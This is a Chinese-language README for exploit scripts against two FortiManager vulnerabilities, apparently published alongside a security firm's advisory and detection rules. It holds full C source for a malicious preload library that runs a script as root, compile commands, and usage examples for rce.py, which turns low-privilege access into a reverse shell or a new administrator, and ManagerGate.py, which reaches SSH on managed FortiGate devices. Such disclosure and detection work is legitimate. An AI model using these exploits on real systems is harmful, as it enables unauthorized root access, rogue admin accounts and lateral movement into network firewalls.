针对 CVE-2023-42791 和 CVE-2024-23666 的利用脚本。
提供两个利用这些漏洞的脚本：
rce.py：从低权限访问 FortiManager 获得反向 Shell 或添加任意管理员。ManagerGate.py：允许连接到远程管理的 FortiGate SSH 服务。仍需要 SSH 密码，但可从 FortiManager 配置备份中找到。更多详情，请参阅关联的安全公告：https://www.synacktiv.com/advisories/advisories/fortimanager-multiple-vulnerabilities
编译一个恶意库，该库将运行 /rce.sh：
$ cat rce.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
if (getuid() != 0) return 0;
unlink("/etc/ld.so.preload");
if (fork() == 0) {
setgid(0);
setuid(0);
system("/bin/bash /rce.sh");
}
return 0;
}
$ gcc -fPIC -shared -o rce.so rce.c -nostartfiles
用法：
$ python3 rce.py -h
usage: rce.py [-h] [-k] [-l LIBRARY] connection {revshell,adduser} ...
positional arguments:
connection User, password, and host (user:password@host)
options:
-h, --help show this help message and exit
-k, --insecure Do not check the remote host certificate (default: False)
-l LIBRARY, --library LIBRARY
Malicious library path (default: /tmp/rce.so)
Action to run:
{revshell,adduser}
revshell Run a Python reverse shell
adduser Create a new administrator
获取反向 Shell：
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] revshell 10.10.10.100 1234
[+] Login to the FortiManager
[+] Uploading /rce.sh
[+] Uploading /rce.so
[+] Uploading /etc/ld.so.preload
[+] Login out of the FortiManager to trigger the RCE
向 FortiManager 添加新管理员：
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] adduser malicious_adm password
[+] Login to the FortiManager
[+] Uploading /create_user.txt
[+] Uploading /rce.sh
[+] Uploading /rce.so
[+] Uploading /etc/ld.so.preload
[+] Login out of the FortiManager to trigger the RCE
$ python3 ManagerGate.py -h
usage: ManagerGate.py [-h] -H HOST -u USER -p PASSWORD [-d DEVICEID] [-i TUNNELIP] [-l] [-x PROXY] -U GU [-v VERBOSE]
get a shell on fortigate
options:
-h, --help show this help message and exit
-H HOST, --host HOST host of the fortimanager
-u USER, --user USER user to connect with to the fortimanager
-p PASSWORD, --password PASSWORD
password to connect to the fortimanager
-d DEVICEID, --deviceid DEVICEID
device oid to get shell
-i TUNNELIP, --tunnelip TUNNELIP
tunnel ip of the fortigate
-l, --local local connect to fortimanager
-x PROXY, --proxy PROXY
proxy request
-U GU, --gu GU user to connect with to the fortigate
-v VERBOSE, --verbose VERBOSE
示例
$ python3 ManagerGate.py -H 10.0.0.1 -u ReadOnlyUser -p MyPassword123 -d 1011 -i 169.254.0.2 -U root
目标 FortiGate 的设备 OID 和隧道 IP 可在 FortiManager 图形界面上找到。
用于检测这些利用脚本的 Sigma 检测规则可在 Synacktiv 规则仓库中找到：https://github.com/synacktiv/synacktiv-rules/tree/main/2025/fortimanager